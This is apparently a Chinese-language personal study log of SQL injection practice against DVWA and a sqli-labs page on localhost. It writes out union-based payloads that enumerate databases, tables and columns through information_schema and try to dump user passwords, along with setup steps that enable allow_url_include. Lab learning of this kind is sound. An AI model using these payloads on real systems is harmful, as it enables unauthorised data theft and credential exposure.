2.2.2开启PHP url_include模块
在phpstudy安装地址中找到php.ini
将allow_url_include设置为On
重启phpstudy
3.使用DVWA
3.1设置数据库
浏览器打开http://127.0.0.1/DVWA/setup.php
登录,默认用户名为admin,密码为password;
设置安全级别为low
二、学习SQL注入
在输入框输入1并提交,回显正常,输入值被传递给参数“id”;
url头中为“id=1&Submit=Submit#”
查看源码(前两种方法均无法查看php代码);
1)按F12
2)Ctrl+U查看网页源代码
3)访问http://127.0.0.1/DVWA/vulnerabilities/view_source.php?id=sqli&security=low查看php源代码;
可以看到参数“id”没有过滤,且参数值直接拼接给SQL语句,说明可能有SQL注入;
验证前面的判断,用单引号“ ’ ”判断是否存在注入,注意:要使用英文标点单引号;
中文单引号回显正常
输入**1’**并提交,英文单引号回显不同,有SQL语法报错,则有注入;
或者使用判断语句
输入**1’ and 1=1 #**回显正常
输入**1’ and 1=2 #**回显不同,因此判断存在SQL注入
判断了注入存在,接下来使用“order by”语句判断列数;
输入**1’ order by 2 #**回显正常
输入**1’ order by 3 #**报错,说明存在两列
判断完列数以后,可以看一下是否有显示位,如果有就可以在页面显示需要查询的数据库名、表名等,如果没有显示位置,就直接进行盲注了。
2024.02.01
输入**1’ union select 1,2 #**看显示位
可以看到1,2两个字段都是显示位
利用显示位查数据库名和数据库版本
输入**1’ union select database(), version() #**数据库名在第一个显示位,数据库版本在第二个显示位
数据库名为dvwa,数据库版本为5.7.26
由于MySQL版本大于5.0,所以该版本的MySQL有默认的“information_schema”数据库,保存了所有数据库的信息。
在输入框输入**1’ union select table_name,table_schema from information_schema.tables where table_schema=‘dvwa’ #**并提交
此时的URL为
报错
搜索解决办法https://blog.youkuaiyun.com/m0_47470899/article/details/118695774
实际应用:用16进制的方式读取
拼接url:
http://127.0.0.1/Less-2/?id=-1 union select 1,group_concat(schema_name) ,3 from information_schema.schemata
更改后的url:
http://127.0.0.1/Less-2/?id=-1 union select 1,group_concat(hex(schema_name)) ,3 from information_schema.schemata
然后再利用在线加解码工具解码;
修改输入内容为**1’ union select hex(table_name),hex(table_schema) from information_schema.tables where table_schema=‘dvwa’ #**并提交
或者修改输入为
1’ union select unhex(hex(table_name)),unhex(hex(table_schema)) from information_schema.tables where table_schema=‘dvwa’ #
看到表有”guestbook””users”两个
知道数据库名和库中的表名以后,可以查询表中的所有字段
输入1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #并提交
未报错,但没有显示
group_concat
修改输入为
1’ union select 1,unhex(hex(group_concat(column_name))) from information_schema.columns where table_name=’users’ #
或者是
1’ union select 1,group_concat(unhex(hex(column_name))) from information_schema.columns where table_name=’users’ #
并提交
报错
搜索解决办法错误记录:Unknown column ‘xxx‘ in ‘where clause‘_unknown column ‘‘18752331658_v6q0’’ in 'where clau-优快云博客
测试报错原因:
1)符号错误
修改输入为(将单引号改为双引号)
**1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=“users” #**并提交
仍报错
2)多余空格
没有修改的地方
3)引号位置
1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #
???
输入1’ union select user,password from users #
没反应